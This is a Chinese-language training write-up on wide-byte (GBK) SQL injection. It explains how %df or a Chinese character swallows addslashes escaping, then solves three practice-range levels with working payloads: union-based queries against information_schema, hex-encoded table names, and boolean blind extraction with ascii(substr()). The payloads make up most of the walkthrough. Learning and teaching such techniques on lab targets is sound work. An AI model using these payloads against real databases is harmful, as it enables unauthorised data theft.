掌控安全学习-宽字节

知识梳理

  1. SQL注入原理:用户输入的数据可以被拼接到原有代码执行
  2. SQL注入基本流程:
  • (1). 判断注入点,例:
    数字型:id=1 and 1=1 页面正常id=1 and 1=2页面不正常;
    字符型:单双引号、括号闭合,观察页面是否正常;
    使用sleep()观察页面是否存在延迟;
  • (2)猜解字段数,例:
    and 1=2 order by 1,2,3通过观察页面是否正常来确定字段数
  • (3)查看显错点
    and 1=2 union select 1,2,3通过发现显错位置可以知道在哪里输出想要的信息
  • (4)查询库名、表名、字段名、字段内容
    可以通过查询系统自带库information_schema来获取想要的内容。
    -查询库名
    union select 1,2,database()
    -查询表名
    union select 1,2,table_name from information_schema.tables where table_schema = database()
    -查询字段名
    union select 1,2,column_name from information_schema.columns where table_schema = database() and table_name='TABLE_NAME'
    -查询字段内容
    union select 1,column1,column2 from table_name limit 0,1
    group_concat可以将多行数据整合到一行输出
    union select 1,2,group_concat(flag) from TABLE_NAME
  1. 宽字节注入原理:
由于ASCII表示的字符只有128个,因此网络世界的规范是使用UNICODE编码,但是用ASCII表示的字符使用UNICODE并不高效。因此出现了中间格式字符集,被称为通用转换格式,及UTF(Universal Transformation Format)
GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象。
MYSQL的字符集转换过程
1. MySQL Server收到请求时将请求数据从character_set_client转换为character_set_connection;
2. 进行内部操作前将请求数据从character_set_connection转换为内部操作字符集,其确定方法如下:
• 使用每个数据字段的CHARACTER SET设定值;
• 若上述值不存在,则使用对应数据表的DEFAULT CHARACTER SET设定值(MySQL扩展,非SQL标准);
• 若上述值不存在,则使用对应数据库的DEFAULT CHARACTER SET设定值;
• 若上述值不存在,则使用character_set_server设定值。
将操作结果从内部操作字符集转换为character_set_results。
重点:宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一次编码。

magic_quotes_gpc/addslashes的作用:当PHP的传参中有特殊字符就会再前面加转义字符’\’,来做一定的过滤;
单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符都会被加上反斜线;
GBK编码,它的编码范围是0x8140~0xFEFE(不包括xx7F),在遇到%df(ascii(223)) >ascii(128)时自动拼接%5c(),因此吃掉‘\’,而%27、%20小于ascii(128)的字符就保留了。

靶场演示

POST注入靶场一

靶场地址http://inject2.lab.aqlab.cn:81/Pass-15/index.php?id=1

1. 判断注入点

image

可以看到这里开起了魔术引号,尝试使用%df拼接吃掉\

image

判断存在注入点

2. 查询字段数

%df' order by 1,2,3 -- qqq页面正常
%df' order by 1,2,3,4 -- qqq页面报错
判断存在3个字符段

image

3. 判断显错位置

%df' and 1=1 union select 1,2,3 -- qqq

image

4. 查询库名

用户名一般存在字符限制,所有这边用密码作为显错位置;
%df' and 1=2 union select 1,2,database() -- qqq
得到库名widechar

image
5. 查询表名

%df' and 1=2 union select 1,2,table_name from information_schema.tables where table_schema = database() limit 0,1 -- qqq
得到表名为china_flag

image
6. 查询字段名

判断flag在china_flag表内
将字符转换成16机制就可以避免出现单引号
http://www.bejson.com/convert/ox2str/
china_flag转换成十六进制0x6368696e615f666c6167
%df' and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=0x6368696e615f666c6167 limit 0,1 -- qqq
也可用子查询方式
%df' and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema = database() limit 0,1) -- qqq

image
image
7. 查询字段内容

判断flag在C_Flag字段内
%df' and 1=2 union select 1,2,C_Flag from china_flag limit 0,1 -- qqq

image

POST注入靶场二

地址http://inject2.lab.aqlab.cn:81/Pass-16/index.php?id=1
第二题只是闭合不同

查询库名

用户名一般存在字符限制,所有这边用密码作为显错位置;
%df") and 1=2 union select 1,2,database() -- qqq
得到库名widechar

image
查询表名

%df") and 1=2 union select 1,2,table_name from information_schema.tables where table_schema = database() limit 0,1 -- qqq
得到表名为china_flag

image
查询字段名

%df") and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema = database() limit 0,1) -- qqq

image
7. 查询字段内容

判断flag在C_Flag字段内
%df") and 1=2 union select 1,2,C_Flag from china_flag limit 0,2 -- qqq

image

POST注入靶场三

地址http://inject2.lab.aqlab.cn:81/Pass-17/index.php
靶场16使用的是表单post传参,%df是url编码,post不会进行url解码,这里就不能使用%df的方式,可以使用在表单内填入一个汉字的方法,getpost传参正常情况下使用的是强大统一的UTF-8,而这个网址装了GBK
GBK编码只有在遇到中文的时候才会执行,遇到英文和ascii编码是不会动的。
而UTF-8除了ascii表上面的字符每哥占一个字节,其他的那些中文汉字,韩文,泰文等等都是占三个字节,而GBK只有中文,汉字+\ =4个字节,经过GBK编码就变成了两个汉字。
或') or 1=1 -- q

image

判断字段数

或') or 1=1 order by 3 -- q

image
猜库名长度

或') or length(database())=8 -- qqq

image
猜库名

或') or ascii(substr(database(),1,1))=1 -- qqq
依次测试得到数据库名称widechar

猜表名

或') or (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1)>1 -- qqq
依次测试得到表名为china_flag

猜字段名

或') or (select ascii(substr(column_name,1,1)) from information_schema.columns where table_schema=database() and table_name=0x6368696e615f666c6167 limit 1,1)=1 -- qqq
测试得到字段名C_Flag

猜字段内容

或') or (select ascii(substr(C_Flag,1,1))from china_flag limit 2,1)=1 -- q
测试得到flag为zKaQ-Kzj+mz


image
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。